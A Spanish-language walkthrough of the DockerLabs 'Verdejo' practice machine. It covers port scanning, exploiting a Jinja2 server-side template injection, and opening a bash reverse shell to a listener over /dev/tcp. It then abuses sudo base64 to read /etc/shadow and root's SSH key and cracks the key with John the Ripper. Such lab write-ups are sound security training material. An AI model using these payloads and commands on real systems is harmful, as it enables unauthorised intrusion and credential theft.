> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/verdejo.md).
# Verdejo
#### **Despliegue de la Máquina:**
**1. Descarga:**
Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Verdejo** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.
**2. Descompresión:**
Utilizamos `7z` para extraer los archivos del paquete descargado:
```bash
7z x verdejo.zip
```
**3. Ejecución:**
Desplegamos el entorno con el script proporcionado:
```bash
bash auto_deploy.sh verdejo.tar
```
***
#### **Reconocimiento:**
**1. Verificación de Conectividad:**
Confirmamos que la máquina está activa mediante un `ping`:
```bash
ping -c 1 172.17.0.2
```
**2. Escaneo de Puertos:**
Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:
```bash
nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```
**Puertos abiertos identificados:**
* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.
* **Puerto 8089:** Servicio desconocido.
**3. Análisis Detallado:**
Realizamos un escaneo más exhaustivo de los puertos abiertos:
```bash
nmap -p22,80,8089 -sCV 172.17.0.2 -oN targeted
```
**Resultados:**
* **Puerto 22:** OpenSSH 9.2p1.
* **Puerto 80:** Apache httpd 2.4.59.
* **Puerto 8089:** Servicio HTTP con Python/3.11.2 y Werkzeug/2.2.2 (probablemente una aplicación Flask).
**4. Enumeración de Servicios:**
**4.1. Puerto 80 (HTTP):**
Al acceder al puerto 80, encontramos la página por defecto de Apache, que no proporciona información relevante.
**4.2. Puerto 8089 (Aplicación Flask):**
Al acceder al puerto 8089, encontramos una aplicación web con un formulario simple.
***
#### **Explotación:**
**1. Detección de Vulnerabilidad SSTI:**
Al inspeccionar el parámetro `user` en la URL, descubrimos que la aplicación es vulnerable a Server-Side Template Injection (SSTI), probablemente mediante Jinja2 (común en aplicaciones Flask).
**Referencias útiles:**
* [PayloadsAllTheThings - SSTI](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection).
* [HackTricks - SSTI](https://book.hacktricks.wiki/es/pentesting-web/ssti-server-side-template-injection/index.html).
**2. Prueba de Concepto:**
Primero probamos un payload básico para confirmar la vulnerabilidad:
```
http://172.17.0.2:8089/?user={{7*7}}
```
La respuesta muestra **49**, confirmando la vulnerabilidad.
**3. Obtención de Reverse Shell:**
Preparamos un puerto en escucha en nuestra máquina:
```bash
nc -nvlp 123
```
Ejecutamos el siguiente payload para obtener una reverse shell:
```
http://172.17.0.2:8089/?user={{+self._TemplateReference__context.cycler.__init__.__globals__.os.popen(%27bash+-c+\%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F100.100.100.4%2F123+0%3E%261\%27%27).read()+}}
```
Recibimos la shell en nuestra consola, obteniendo acceso al sistema.
***
#### **Escalada de Privilegios:**
**1. Verificación de Privilegios SUDO:**
Ejecutamos `sudo -l` para ver qué comandos podemos ejecutar como `root`.
**Resultado:**
```bash
(root) NOPASSWD: /usr/bin/base64
```
**2. Explotación de Base64:**
Consultamos [GTFOBins](https://gtfobins.github.io/gtfobins/base64/) para encontrar formas de explotar este binario con privilegios elevados.
Primero leemos el archivo `/etc/shadow`:
```bash
sudo base64 /etc/shadow | base64 --decode
```
**3. Obtención del id\_rsa de Root:**
Como el puerto SSH está abierto, intentamos leer la clave privada de `root`:
```bash
sudo base64 /root/.ssh/id_rsa | base64 --decode
```
**4. Conexión SSH:**
Transferimos el archivo `id_rsa` a nuestra máquina local y le asignamos los permisos adecuados:
```bash
chmod 600 id_rsa
```
Intentamos conectarnos por SSH:
```bash
ssh -i id_rsa root@172.17.0.2
```
Sin embargo, nos solicita una contraseña para la clave privada.
**5. Descifrado de la Clave Privada:**
Utilizamos `ssh2john` para extraer el hash del archivo `id_rsa`:
```bash
ssh2john id_rsa > hash
```
Luego usamos John the Ripper con el diccionario `rockyou.txt` para intentar descifrar la contraseña:
```bash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
```
Finalmente, obtenemos la contraseña y podemos conectarnos como `root`:
```bash
ssh -i id_rsa root@172.17.0.2
```